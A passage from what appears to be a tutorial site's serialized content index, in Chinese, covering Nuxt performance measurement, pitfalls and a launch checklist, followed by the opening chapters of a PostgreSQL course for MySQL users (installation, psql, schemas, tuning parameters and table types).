静态生成的范围与并发 nitro: { static: true } 明确纯静态（不生成 server 逻辑） nitro: { output: { dir } } 改产物目录（方便 CI 直接拷） nitro: { preset: 'static' | 'node_server' | 'docker' } 目标平台 nitro: { storage: { cache: { driver: 'redis', … } } } 多实例共享缓存（swr 需要） routeRules: { '\u002Fx': { prerender: true } } 按路径覆盖生成策略",{"id":132976,"title":15925,"titles":132977,"content":15928,"level":341},"\u002Ftutorials\u002Fnuxt#十四性能与产物体积先测再优化",[4558],{"id":132979,"title":15931,"titles":132980,"content":132981,"level":357},"\u002Ftutorials\u002Fnuxt#先学会看三个数",[4558,15925],"# 1) 产物体积构成\nnpx nuxtanalyze            # 生成一份可视化报告（旧名 nuxi analyze）\nnpx vite-bundle-visualizer # 或者直接看 Vite 产物\n\n# 2) 首屏 HTML 里有没有正文（判断 SSR\u002F预渲染是否真的生效）\ncurl -s https:\u002F\u002Fsite\u002Fnuxt\u002Ftutorials\u002Fvue3 | head -c 2000\n\n# 3) payload 有多大（SSR 数据序列化的代价）\nls -la .output\u002Fpublic\u002Ftutorials\u002Fvue3\u002F_payload.json Chrome DevTools 里看三个指标就够：FCP（首屏有内容）、TTI（能交互，水合完成的时刻）、Total JS（下载量）。SSR 优化的是 FCP，代码分割优化的是 TTI 和下载量。",{"id":132983,"title":16032,"titles":132984,"content":132985,"level":357},"\u002Ftutorials\u002Fnuxt#有效的手段按性价比排",[4558,15925],"手段 做法 收益 路由级懒加载 Nuxt 默认对 pages\u002F 组件做了；确认 import() 没被手写静态引入破坏 首屏 JS 大幅下降 别用 barrel 文件 app\u002Fcomponents\u002Findex.ts 里 export * from '.\u002FA' 会把整个目录拖进依赖图 保住 tree-shaking 只取需要的字段 useFetch(url, { pick: ['id','title'] }) \u002F transform payload 与网络双降 图片交给构建 用 @nuxt\u002Fimage（\u003CNuxtImg>）或 assets\u002F + 导入 自动格式\u002F尺寸\u002F懒加载 重组件异步化 defineAsyncComponent(() => import('…'))（图表、编辑器、地图） 首屏不含重组件 列表裁剪 长列表分页\u002F虚拟滚动（《Vue 3 教程》第十一章） 渲染耗时 静态内容别 SSR 两遍 纯静态子树用 v-memo \u002F \u003CClientOnly> 慎用；优先 prerender CPU + 水合成本 依赖预打包检查 vite: { optimizeDeps: { include: [...] } } 只对 dev 生效 开发体验 第三方脚本延后 useHead 里给 defer，或改成用户触发后再注入 TBT（阻塞时长） 关 devtools\u002F分析包 devtools: { enabled: false } 生产无影响但别忘 sourcemap: false 体积与泄露",{"id":132987,"title":16213,"titles":132988,"content":132989,"level":357},"\u002Ftutorials\u002Fnuxt#水合相关的两个具体做法",[4558,15925],"首屏之外的东西别水合。 大列表的下半部分、页脚的动态内容可以用 callOnce \u002F 纯静态渲染减少水合成本；\u003CClientOnly> 是逃生舱不是常规手段（它会让 SSR HTML 变空）。 hydration mismatch 的三类源头： \u003C!-- 1) 服务端与客户端算出不同结果 -->\n\u003Cp>{{ Date.now() }}\u003C\u002Fp>                      \u003C!-- ✗ 每次都不同 -->\n\u003Cp>{{ Math.random() }}\u003C\u002Fp>                    \u003C!-- ✗ -->\n\u003Cp>{{ localStorage.getItem('theme') }}\u003C\u002Fp>    \u003C!-- ✗ 服务端没有 -->\n\n\u003C!-- 2) 服务端 HTML 结构被浏览器改了 -->\n\u003Ctbody>\u003Ctr>…\u003C\u002Ftr>\u003C\u002Ftbody>   \u003C!-- 浏览器会把非法嵌套修一遍，水合就对不上 -->\n\n\u003C!-- 3) 内联脚本提前改了 DOM（本站的主题脚本是刻意这么做的，它只写 \u003Chtml> 属性，不动正文） --> 修不了就用 \u003CClientOnly> 包住那一小块，或用 onMounted 之后再赋值（并接受那块没有 SSR 正文）。",{"id":132991,"title":16339,"titles":132992,"content":132993,"level":357},"\u002Ftutorials\u002Fnuxt#测量清单本站用过的",[4558,15925],"# 首屏 HTML 是否含正文\ncurl -s URL | grep -c 'article__body'\n\n# 有多少个 JS 文件、总大小\nfind .output\u002Fpublic\u002F_nuxt -name '*.js' | xargs du -ch | tail -1\n\n# 预渲染页数量是否等于路由数\nfind .output\u002Fpublic -name '*.html' | wc -l\n\n# 单个页面 payload 体积\ndu -h .output\u002Fpublic\u002Ftutorials\u002Fvue3\u002F_payload.json",{"id":132995,"title":4796,"titles":132996,"content":132997,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-13",[4558,15925],"1. 为了「优化」把正文塞进 \u003CClientOnly>。 首屏 HTML 空了，SEO 与 FCP 双输。SSR 是内容站的基本盘，客户端只留「真的依赖浏览器」的部分。 2. pick 忘用，payload 几 MB。 移动端下载 payload 的时间可能比接口本身还长（第五章第 4 条）。 3. barrel index.ts 让 tree-shaking 失效。 一个 export * from '.\u002Fall-charts' 能把 400KB 拖进首屏。目录里请直接 import 具体文件。 4. 手写 import Chart from 'echarts' 破坏了懒加载。 重组件请 defineAsyncComponent，或在事件回调里 await import()。 5. 生产开了 sourcemap。 体积翻倍且把源码结构泄露出去。sourcemap: false（或用平台托管的隐藏 sourcemap）。 6. 图片放在 assets\u002F 里指望自动压缩。 Nuxt 默认只做哈希与内联阈值，不改尺寸不转格式。响应式图片要 @nuxt\u002Fimage。 7. 字体导致布局抖动。 没写 font-display: swap \u002F 没有 fallback 尺寸，文字会「跳一下」（CLS 变差）。字体建议 public\u002F + \u003Clink rel=\"preload\">。 8. 只优化了自己的代码，没管第三方。 一个统计脚本就能吃掉 200KB。上线前用 nuxtanalyze 看第一屏柱子——通常最大那根不是你的代码。 9. 拿 nuxt dev 的速度判断生产。 dev 有未压缩与中间件开销，冷热差异极大。任何性能结论以 nuxt build\u002Fgenerate + preview（或真环境）为准。",{"id":132999,"title":16579,"titles":133000,"content":133001,"level":357},"\u002Ftutorials\u002Fnuxt#附性能问题定位顺序",[4558,15925],"症状 先看什么 常见根因 白屏时间长 FCP \u002F HTML 是否含正文 没 SSR（ssr:false）、SSR 阶段接口慢 有内容但点不动 TTI \u002F 水合耗时 JS 体积大、组件树深、水合数据大 图片\u002F字体闪烁 资源是否内联、preload 关键 CSS\u002F字体未预加载 每次导航都慢 payload 请求耗时 页面数据太大、lazy 没配 列表长页面卡顿 渲染节点数 没裁剪、key 不稳定、无虚拟滚动 构建变慢 .nuxt 缓存、依赖数 barrel 文件、过多模块",{"id":133003,"title":16678,"titles":133004,"content":314,"level":341},"\u002Ftutorials\u002Fnuxt#十五收尾坑汇总对照表与下一步",[4558],{"id":133006,"title":16682,"titles":133007,"content":133008,"level":357},"\u002Ftutorials\u002Fnuxt#从-vue-到-nuxt只多了这几层",[4558,16678],"Vue 3 里你写的 Nuxt 里的等价物 多出来的注意点 createApp(App).use(router).mount('#app') 不存在了，app\u002Fapp.vue 就是根 不要再手写 main.js routes 数组 + \u003CRouterView> app\u002Fpages\u002F 文件即路由 + \u003CNuxtPage\u002F> 父组件要放 \u003CNuxtPage\u002F>（第三章） import X from '.\u002FX.vue' app\u002Fcomponents\u002F 自动导入 目录前缀规则（第二章） useXxx 手动 import app\u002Fcomposables\u002F 自动导入 命名必须 use* useRoute\u002FuseRouter 一样可用 跳转优先 navigateTo() 手写 axios 实例 useFetch \u002F useAsyncData \u002F $fetch 取数时机（第五、六章） Pinia @pinia\u002Fnuxt + useState 实例按请求创建（第十一章） defineProps\u002FdefineEmits\u002FdefineModel 完全一样 无变化 vue-tsc 类型检查 nuxt typecheck 两份 tsconfig（app 与 server） Vite base app.baseURL 子路径部署的头号坑（第十三章） index.html 里的 \u003Ctitle>\u002Fmeta useSeoMeta \u002F useHead SSR 阶段必须同步调用（第十章）",{"id":133010,"title":16892,"titles":133011,"content":133012,"level":357},"\u002Ftutorials\u002Fnuxt#按症状找原因",[4558,16678],"症状 最可能的原因 详见 首屏白，源码里有 \u003Cdiv id=\"app\"> 但没正文 ssr: false 生效 \u002F 数据只在客户端取 九、五 本地能跑，部署后资源 404、页面白屏 app.baseURL 与访问子路径不一致 十三（本站真实事故） 刷新子页面 404 Nginx 缺 try_files 回落；或该页没被预渲染 十三、九 改了内容线上还是旧的 HTML\u002Fpayload 被缓存；或产物没重新拷贝 十三 Cannot find name 'useFetch' 没跑 nuxt prepare 二 页面空白、控制台没报错 父页面漏 \u003CNuxtPage\u002F> 三 组件 \u003CBaseButton> 找不到 目录前缀（应为 \u003CUiBaseButton>）或路径大小写 二 服务端报 window is not defined SSR 阶段访问了浏览器 API 五、十一 数据在服务端取到了但界面 undefined Nuxt 4 的 default 缺失 \u002F payload 序列化失败 五 同一份数据请求两次 两处 key 不同（URL 参数变了）或用了 server: false 五 切了筛选，列表数据不变 同路由只换 query 未触发重新请求（watch 选项） 三、五 两个用户数据串了 模块级可变单例 \u002F 插件里创建共享状态 十一、十二 页面「闪一下」或 hydration 警告 Date.now()\u002Frandom\u002FlocalStorage 进了模板 十四 error.vue 样式全丢 它在布局之外 四 sitemap.xml 里全是 localhost site.url 没改 十 卡片分享没图 og:image 不是绝对 URL 十 构建在 CI 失败、本地成功 大小写敏感、Node 版本、compatibilityDate 差异 二、十三",{"id":133014,"title":17146,"titles":133015,"content":133016,"level":357},"\u002Ftutorials\u002Fnuxt#上线核对清单",[4558,16678],"类别 检查项 不做的后果 配置 app.baseURL = 真实访问前缀（含首尾斜杠） 白屏 + 资源 404 配置 site.url 是真实域名 sitemap\u002Fog 指向 localhost 配置 compatibilityDate 显式设定 升级后行为漂移 渲染 每个路径的模式与预期一致（routeRules 顺序检查过） 空壳被预渲染 \u002F SEO 归零 数据 首屏数据用 await useFetch，且配了 default 与 pick 正文缺失、payload 巨大 数据 需要密钥的请求走 server\u002Fapi 代理，密钥不在 public 密钥泄露 路由 无用的 .vue 不在 pages\u002F 下；404 由 createError 抛出 脏路由、软 404 SEO 每页 title\u002Fdescription 由 SSR 输出；curl 验证过 索引不到、卡片空白 生成 nitro.prerender.routes 覆盖所有不可爬到的页面 generate 后 404 服务器 try_files 回落地址带子路径；HTML no-cache；_nuxt 长缓存 刷新 404、内容不更新 服务器 error_page 404 指向预渲染的 404，状态码真的是 404 软 404 有害 SEO 安全 .env 未入库；产物 grep 过密钥；sourcemap 关闭 泄露源码与密钥 验证 nuxt generate + 真目录部署跑过一遍；nuxtanalyze 看过体积 把「能构建」当「能上线」",{"id":133018,"title":17362,"titles":133019,"content":133020,"level":357},"\u002Ftutorials\u002Fnuxt#下一步",[4558,16678],"补服务端能力：server\u002Fapi 之外还有定时任务（nitro: { scheduledTasks }）、WebSocket（defineWebSocketHandler）、存储抽象（useStorage，本站用它管内容）。关键词：Nitro 文档的 Deployment 与 Storage 两节。 内容型站点：@nuxt\u002Fcontent v3（集合 + SQLite 索引，本站教程栏目就是它驱动的）；配图与响应式图片用 @nuxt\u002Fimage。 交互复杂度上来后：把本教程第五章的 getCachedData、dedupe、refreshNuxtData 玩熟，再评估要不要 TanStack Query。 测试与质量：@nuxt\u002Ftest-utils（e2e + 渲染测试）、nuxt typecheck、CI 里跑一次 generate 并 curl -I 抽查 404 状态码。 原理补两页：Nuxt 文档的「Rendering Modes」与「Best Practices」；水合与 payload 的机制看懂后，第九章和第十四章的所有坑都能自己推出来。 Nuxt 带来的全部复杂度，其实只有一句话：同一份组件代码，可能在服务器上跑，也可能在浏览器里跑，还可能两边各跑一次。 写每一行代码时问自己「这段在服务端跑会怎样」，这门课的所有坑就都成了可预测的事。 html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}",{"id":45610,"title":36576,"titles":133022,"content":45608,"level":334},[],{"id":133024,"title":36582,"titles":133025,"content":133026,"level":341},"\u002Ftutorials\u002Fpostgresql#一为什么是-postgresql先看清它和你熟悉的-mysql-差在哪",[36576],"先还原一个常见场景。你写了多年 Java，库一直是 MySQL，MyBatis 一把梭；新项目立起来了，需求栏里躺着三行字：商品搜索要支持联想与相关度排序、App 要找「3 公里内的门店」、客服知识库要做语义检索。用 MySQL，这三件事意味着引入三个独立组件（Elasticsearch、专门的地理服务、向量数据库）；用 PostgreSQL，答案全是同一句：装个扩展就行。 这也是很多团队切 PG 的真实动机——不是因为它「更强」，而是因为它能少养几个系统。但动手之前，有几处差异值得先钉在墙上： 维度 MySQL PostgreSQL 对你的影响 SQL 标准与查询能力 够用，窗口\u002FCTE 补齐较晚 以「标准超集」著称：递归 CTE、DISTINCT ON、FILTER 聚合、LATERAL 都是原生能力 复杂报表、树遍历类需求少绕很多弯 类型系统 数值 \u002F 字符串 \u002F 时间 \u002F JSON 多出数组、区间、jsonb、枚举、自定义类型 「逗号分隔字符串存多值」这类反模式在 PG 没有存在理由 MVCC 实现 回滚段 undo log 每行多版本元组，读不加锁 第九章整章都在讲它带来的行为差异 默认隔离级别 REPEATABLE READ READ COMMITTED 语义不同，迁移时最容易想当然 外键自动建索引 InnoDB 会 不会，要自己建 第七章的大坑，先记下 扩展生态 插件相对少 全文搜索 \u002F PostGIS \u002F pgvector 都是「一个扩展装完就能用」 第十三到十五章的三大主角 连接模型 每连接一个线程 每连接一个进程 连接更贵，连接池几乎是必选项 标识符大小写 表名大小写敏感性取决于 lower_case_table_names 不加引号的标识符一律转小写；建表时用了 \"Users\" 这种带引号的大写，以后每次查询都得引号伺候 建表 SQL 里对标识符一律不加双引号 许可协议 GPL（商业需授权） PostgreSQL License（类 MIT） 商用无负担",{"id":133028,"title":36761,"titles":133029,"content":133030,"level":357},"\u002Ftutorials\u002Fpostgresql#这门课的路线图",[36576,36582],"第二到十二章是地基：安装连接 → 基本结构 → 建表 → 单表查询 → 函数 → 多表 → 索引 → 事务与锁 → 视图与 CTE → 权限 → 备份恢复。第十三到十五章是三个扩展专题（全文搜索 \u002F 地理位置 \u002F 向量），可以按需跳读，也可以顺着读——它们正好是第一章那张对比表里「扩展生态」的现场证明。第十六章是一份上线核对清单。 浏览器里跑不了 SQL，所以示例沿用 Linux \u002F Docker 教程的做法：写死真实输出的模拟终端，点按钮逐条回放命令与 psql 的真实打印；三个扩展章节另配了可交互的小页面——数据是静态样本，但打分、测距、找近邻的计算是真算，不是录像。",{"id":133032,"title":36775,"titles":133033,"content":133034,"level":357},"\u002Ftutorials\u002Fpostgresql#️-两处最容易想当然的差异",[36576,36582],"上面那张表里，有两行值得在动手前先展开说透，它们会贯穿整门课。 每连接一个进程。 MySQL 里一个连接是一个线程，PG 里主进程 postmaster 会为每个连接 fork 一个 backend 进程，内存几 MB 起步。两个直接推论： 连接是贵重资源，max_connections 别照 MySQL 的习惯开几千——100~300 之间，前面再顶一层 PgBouncer 连接池（对习惯 HikariCP 的 Java 同学来说：应用的池要收小，池外面还有一层池）； 进程模型换来一套独特的崩溃语义：单条 SQL 报错只影响它自己；但如果某个 backend 真的段错误了，postmaster 的策略是把全部连接断开、重置共享内存再迎接新连接——宁可全体重启，也不带病运行。线上看到「一夜之间所有连接同时断开重连」，先去翻 PG 日志里的 server process was terminated by signal。 默认隔离级别不同。 MySQL InnoDB 默认 REPEATABLE READ，PG 默认 READ COMMITTED。看着是配置差异，实际是行为差异：同一个事务里两次执行相同的 SELECT，MySQL 默认读到同一个结果，PG 默认第二次能看到别人已提交的新数据。如果迁移过来的代码依赖「事务内复读」，第九章会给出三种处理姿势。 还有一条建表当天就会碰到的：不加引号的标识符一律转小写。写成 CREATE TABLE \"Users\" (...) 之后，每次查询都得 \"users\" 带引号伺候，漏一次就报 relation \"users\" does not exist。规矩很简单——建表 SQL 里对标识符一律不加双引号。",{"id":133036,"title":36842,"titles":133037,"content":36845,"level":341},"\u002Ftutorials\u002Fpostgresql#二安装与第一次连接三种姿势与-psql-的肌肉记忆",[36576],{"id":133039,"title":36849,"titles":133040,"content":133041,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步一条命令起一个能连的库",[36576,36842],"本地想有个能折腾的 PG，Docker 最省事： docker run -d --name pg-lab \\\n  -e POSTGRES_PASSWORD=lab123456 \\\n  -e POSTGRES_DB=shop \\\n  -p 5432:5432 \\\n  -v pg-lab-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata \\\n  postgres:17 等两三秒，连上去： psql -h 127.0.0.1 -p 5432 -U postgres -d shop psql (17.x)\nType \"help\" for help.\n\nshop=# SELECT version();\n                          version\n-----------------------------------------------------------\n PostgreSQL 17.x on x86_64-pc-linux-gnu, compiled by gcc...\n(1 row) 看到提示符变成 shop=# 就连上了：# 表示超级用户，普通用户是 shop=>。\\q 退出。四个参数的含义：POSTGRES_PASSWORD 必填（缺了容器直接起不来）、POSTGRES_DB 顺手建好第一个业务库、-p 把容器内 5432 映射到宿主、-v 挂的卷是数据本体。",{"id":133043,"title":36998,"titles":133044,"content":133045,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步三种安装方式选一种就够",[36576,36842],"方式 适合谁 关键点 Docker 跟着本教程做实验、本机多版本并存 数据必须挂数据卷，否则 docker rm 之日就是数据消失之时（Docker 教程第九章算过这笔账） 系统包管理器（PGDG 源） Linux 服务器长期运行 Debian\u002FUbuntu 官方源版本偏旧，加 PGDG 源拿新版本 Windows 安装器 本机只想有个能连的库 EDB 安装器一路下一步，装完自带 pgAdmin 图形客户端 服务器上长期跑，用包管理器： sudo apt install postgresql-17          # 先按官方文档加 PGDG 源\nsudo systemctl status postgresql@17-main\nsudo -u postgres psql                   # 本地 peer 认证，免密直接进 Debian 系装完会自动 initdb 一个「数据库簇」，并创建同名 OS 用户 postgres（数据库管理员同体），sudo -u postgres psql 相当于 MySQL 里的 mysql -u root 免密进。另外容器场景有个偷懒通道：docker exec -it pg-lab psql -U postgres -d shop，走容器内部 socket，不用输密码——只限实验环境。",{"id":133047,"title":37125,"titles":133048,"content":133049,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步psql-里先练这四个命令",[36576,36842],"连上之后，日常 90% 的操作就四个：\\dt 看有哪些表、\\d 表名 看单表结构、\\l 看有哪些库、\\timing on 打印每条 SQL 的耗时。 \\d 是用得最多的一个：建完表不用猜索引建没建对，\\d 表名 一屏把列、类型、索引、约束全看到。完整命令表（含 \\x、\\copy 等）在本章末尾的速查区。",{"id":133051,"title":37168,"titles":133052,"content":133053,"level":357},"\u002Ftutorials\u002Fpostgresql#第四步不想每次输密码",[36576,36842],"不想每次交互输密码，两种姿势：临时用环境变量 PGPASSWORD=... psql ...；长期用 ~\u002F.pgpass，格式一行一条 主机:端口:数据库:用户:密码。超级用户第一件事建议 \\password 改掉弱密码——谁能连、用什么方式认证，由 pg_hba.conf 把关，第十一章展开。",{"id":133055,"title":4796,"titles":133056,"content":133057,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑",[36576,36842],"1. 没挂数据卷 = docker rm 之后数据全没。 -v pg-lab-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata 这一行是数据本体，删容器不带 -v 参数的重建就是清库。 2. 只有卷为空时才会 initdb。 所以改了 POSTGRES_PASSWORD、POSTGRES_DB 这些环境变量，重启老容器不会生效——它们只在第一次初始化时起作用。想重来，得连卷一起删（docker volume rm pg-lab-data）。 3. 镜像 tag 写大版本号，别写 latest。 跨大版本（16 → 17）不是换个 tag 拉个新镜像就完事，要靠 pg_upgrade 迁移；写 latest 等于把版本交给别人决定。 4. SQL 必须以 ; 结尾才执行。 多行语句写到一半没分号，提示符会变成 shop- 静静等你，看着像「卡死」，其实是它以为你还没写完——补个分号回车就回来了。 5. .pgpass 权限不是 600 会被直接忽略。 PG 认为别人能读的密码文件不可信，报的还是「密码认证失败」这种不相干的错，很难往这上面想。chmod 600 ~\u002F.pgpass。 6. Debian\u002FUbuntu 官方源的版本偏旧。 想跟这门课用 17，要按官方文档加 PGDG 源，否则 apt install postgresql 装出来的是十几年前语义的老版本。 7. docker exec 那条免密通道只限实验。 它走容器内部 socket，绕过了 pg_hba.conf 的密码认证；生产环境照抄等于给自己留了个免认证入口。",{"id":133059,"title":37290,"titles":133060,"content":133061,"level":357},"\u002Ftutorials\u002Fpostgresql#附psql-反斜杠命令速查",[36576,36842],"反斜杠命令 作用 MySQL 里的对应 \\l 列出所有数据库 SHOW DATABASES \\c shop 切换数据库 USE shop \\dt 列出当前 schema 的表 SHOW TABLES \\d orders 看表结构：列、类型、索引、约束一起看 DESC orders 的加强版 \\dn 列出所有 schema 无对应 \\du 列出角色与成员关系 SELECT user, host FROM mysql.user \\timing on 之后每条 SQL 打印执行耗时 无对应，调优刚需 \\x on 宽表竖排显示（列多时救命） \\G \\i init.sql 执行脚本文件 SOURCE \\copy 导入导出 CSV LOAD DATA INFILE（第十二章细讲）",{"id":133063,"title":37458,"titles":133064,"content":37461,"level":341},"\u002Ftutorials\u002Fpostgresql#三基本结构实例数据库schema-与表多出来的那一层是什么",[36576],{"id":133066,"title":37465,"titles":133067,"content":133068,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步多出来的那一层是-schema",[36576,37458],"PG 的层级比 MySQL 多一层。一个实例（postmaster 进程 + 共享内存 + 一份数据目录，官方术语叫 cluster，数据库簇——和「分库分表集群」不是一个东西，别被名字吓到）下面挂多个 database，database 里再分 schema，schema 里才是表、序列、函数、视图： 实例（postmaster + 共享内存 + 数据目录，官方叫 cluster）\n ├── 数据库 postgres        —— 管理员的常驻地\n ├── 数据库 shop            —— 业务库\n │    ├── schema public     —— 默认命名空间\n │    └── schema business   —— 自定义命名空间：把「订单域」整组收拢\n │         ├── 表 orders\n │         └── 序列 \u002F 函数 \u002F 视图 \u002F 索引……都挂在 schema 里\n ├── 数据库 template1       —— 建库的默认模板\n └── 数据库 template0       —— 纯净模板 层级 是什么 MySQL 里的对应 实例（簇） postmaster + 共享内存 + 一份数据目录 mysqld 实例 database 相互完全隔离的数据库，各自有自己的目录 database（库） schema 库内的命名空间 + 授权单元 没有——MySQL 库直接管表 表 数据本身 table 多出这层 schema 不是官僚主义：一是跨 database 不能直接 JOIN（要上 postgres_fdw 这类外部包装器），但跨 schema 只要写前缀 business.orders 就行——所以「把 MySQL 的多个小库合成 PG 一个库的多个 schema」是很常见的迁移姿势，原本的跨库查询全部变通；二是权限可以按 schema 整组授予，第十一章的最小权限模板会用到。",{"id":133070,"title":37557,"titles":133071,"content":133072,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步建一个-schema把表放进去",[36576,37458],"CREATE SCHEMA business;\nCREATE TABLE business.orders (id bigint, note text); 不带前缀的表名去哪找？由 search_path 决定： shop=# SHOW search_path;\n   search_path\n-----------------\n \"$user\", public\n(1 row) 默认值是「与我同名的 schema，再 public」，第一个 \"$user\" 99% 的情况下不存在，实际命中的都是 public。把刚建的 schema 排到前面： SET search_path = business, public;\nSELECT * FROM orders;              -- 等价于 business.orders 系统表所在的 pg_catalog 永远隐含在最前面，所以 pg_class、pg_settings 这类系统表名不会和你业务表打架。想临时改一次用上面的 SET，想整个会话\u002F账号长期生效用 ALTER ROLE ... SET search_path（第十一章的授权模板里就有这一句）。",{"id":133074,"title":37638,"titles":133075,"content":133076,"level":357},"\u002Ftutorials\u002Fpostgresql#第三步建库时把编码和排序规则一次定死",[36576,37458],"\\l 里永远能看到三个库：postgres、template1、template0。PG 的 CREATE DATABASE 本质是复制一份模板库——默认复制 template1；template0 则是出厂纯净版，还能在建库时指定编码和排序规则（这是 template1 做不到的）： CREATE DATABASE shop\n  TEMPLATE template0\n  ENCODING 'UTF8'\n  LC_COLLATE 'C.UTF-8'\n  LC_CTYPE 'C.UTF-8'; 建库这一步把编码和 collation 定死，是第十六章核对清单的第一行，原因见本章坑 2。",{"id":133078,"title":37702,"titles":133079,"content":133080,"level":357},"\u002Ftutorials\u002Fpostgresql#第四步必调的四个参数",[36576,37458],"参数 默认 建议 备注 shared_buffers 128MB 物理内存的 25% 左右 PG 自己的热数据缓存。注意它在 OS 页缓存之外又算一层，别给到 50%+ work_mem 4MB 16~64MB 起步 单个排序 \u002F 哈希操作的内存预算：一条 SQL 里可以用多个，再乘以并发连接数——盲目调大是内存事故的头号来源 max_connections 100 ≤300，前面加连接池 每连接是进程，开 2000 个先想清楚内存 effective_cache_size 4GB 约等于 OS 可用页缓存 只影响优化器的成本估算，不实际分配内存——填小了优化器会不敢用索引",{"id":133082,"title":4796,"titles":133083,"content":133084,"level":357},"\u002Ftutorials\u002Fpostgresql#️-本章的坑-1",[36576,37458],"1. 往 template1 里建的东西，以后每个新库都会带着。 它是建库的默认模板，你在里面留了张测试表，之后 CREATE DATABASE 出来的每个库都有这张表。要改模板先想清楚这一点，需要干净起点时用 TEMPLATE template0。 2. 排序规则（collation）建库之后改不了，而字符串索引的顺序完全依赖它——升个 glibc 版本导致 collation 行为变化、索引悄悄损坏的事故是有真实案例的。所以第三步那次「建库就定死」不是形式主义；已经建错了的库只能 pg_dump 出来重建。 3. 跨 database 不能 JOIN。 想当然照 MySQL 的 db1.t1 JOIN db2.t2 写会直接报错。要么用 postgres_fdw 挂外部表，要么按第一步说的：一个库、多个 schema。 4. PG 15 起 public schema 默认收回普通用户的建表权。 普通用户 CREATE TABLE 会报 permission denied for schema public。这不是 bug，是安全默认值——正确姿势是给业务单独建 schema、单独授权，第十一章给出整套模板。 5. search_path 里排前面的 schema 会遮蔽后面的同名表。 如果 business 和 public 里都有 orders，SELECT * FROM orders 只会命中排在前面的那个。生产代码里跨 schema 的表写全前缀，或把 search_path 固定成一组明确的 schema，别让它随会话漂移。 6. work_mem 的账要会算：它不是「每个连接」的预算，而是「每个排序\u002F哈希节点」。 100 个连接、每条查询里两个 64MB 的排序节点，理论峰值就是 100 × 128MB = 12.8GB。调它之前先用 \\timing on + EXPLAIN 确认瓶颈真的是排序\u002F哈希（第八章），而不是无脑加。",{"id":133086,"title":37893,"titles":133087,"content":133088,"level":341},"\u002Ftutorials\u002Fpostgresql#四表结构定义类型选对索引的锅就少背一半",[36576],"场景定型：这门课的示例业务是一个小电商——users（用户）、products（商品）、orders（订单）、order_items（订单明细）。 本章分三段读，第一遍只看第一段就够了： 入门四步：建出能跑的表、类型怎么选、四张表怎么连起来、jsonb 与数组怎么查——全是可直接抄的最小示例； ⚠️ 本章的坑：8 个真实报错和它们的成因，等表建起来了再回头看； 附：类型速查表：字节长度、Java 类型、MySQL → PG 迁移对照，写 DDL 时查，不用通读。",{"id":133090,"title":37936,"titles":133091,"content":133092,"level":357},"\u002Ftutorials\u002Fpostgresql#第一步先建出一张能跑的表",[36576,37893],"最小的 users 表，一行一个字段： CREATE TABLE users (\n  id      bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,  -- 主键，数据库自己递增\n  name    text NOT NULL,                                    -- 用户名，必填\n  email   text NOT NULL UNIQUE,                             -- 邮箱，必填且不重复\n  memo    text,                                             -- 备注，可空（第五章拿它讲 NULL）\n  created_at timestamptz NOT NULL DEFAULT now()              -- 注册时间，默认当前时刻\n); 插一条、查一条，确认它真的活了： INSERT INTO users (name, email) VALUES ('小明', 'xiaoming@example.com');\nSELECT id, name, email, created_at FROM users; id | name | email                |       created_at\n----+------+----------------------+-------------------------\n  1 | 小明 | xiaoming@example.com | 2026-10-16 11:20:31+08 注意 INSERT 里没有 id——GENERATED ALWAYS AS IDENTITY 就是 PG 里「自增主键」的标准写法，值由数据库生成。Java 实体对应关系是 Long id、String name、OffsetDateTime createdAt，text 一律映射成 String。",{"id":133094,"title":38036,"titles":133095,"content":133096,"level":357},"\u002Ftutorials\u002Fpostgresql#第二步类型怎么选先记住这六个",[36576,37893],"存什么 就用它 Java 类型 一句话理由 主键、外键、ID bigint Long 64 位整型，雪花 ID 也装得下，不会哪天爆掉 任何文本（短用户名 \u002F 长正文） text String PG 里 text 和 varchar 是同一种实现，不用纠结长度 金额 numeric(12, 2) BigDecimal 精确十进制，0.1 + 0.2 不会等于 0.30000000000000004 时间 timestamptz OffsetDateTime 带时区的绝对时刻，换服务器也不漂 是否、开关 boolean Boolean 字面量就是 true \u002F false 数量、库存 integer Integer 32 位，约 ±21 亿，计数场景足够 再加两个「进阶但很常用」：订单的扩展属性（渠道、活动信息）用 jsonb，一条记录挂多个标签用 text[] 数组。它们都是 PG 的原生能力，不需要像 MySQL 那样把多个值拼成逗号字符串。 把商品表建出来，六个类型一次用全： CREATE TABLE products (\n  id       bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  title    text NOT NULL,\n  price    numeric(12, 2) NOT NULL CHECK (price >= 0),   -- 金额 + 非负校验\n  stock    integer NOT NULL DEFAULT 0,                   -- 库存，默认 0\n  on_sale  boolean NOT NULL DEFAULT true,                -- 是否上架\n  tags     text[],                                       -- 标签数组，可空\n  meta     jsonb,                                        -- 扩展属性\n  created_at  timestamptz NOT NULL DEFAULT now()\n);\n\nINSERT INTO products (title, price, stock, tags, meta)\nVALUES ('机械键盘', 399.00, 20, ARRAY['数码', '外设'], '{\"channel\": \"app\"}');\n\nSELECT title, price, tags, meta ->> 'channel' AS 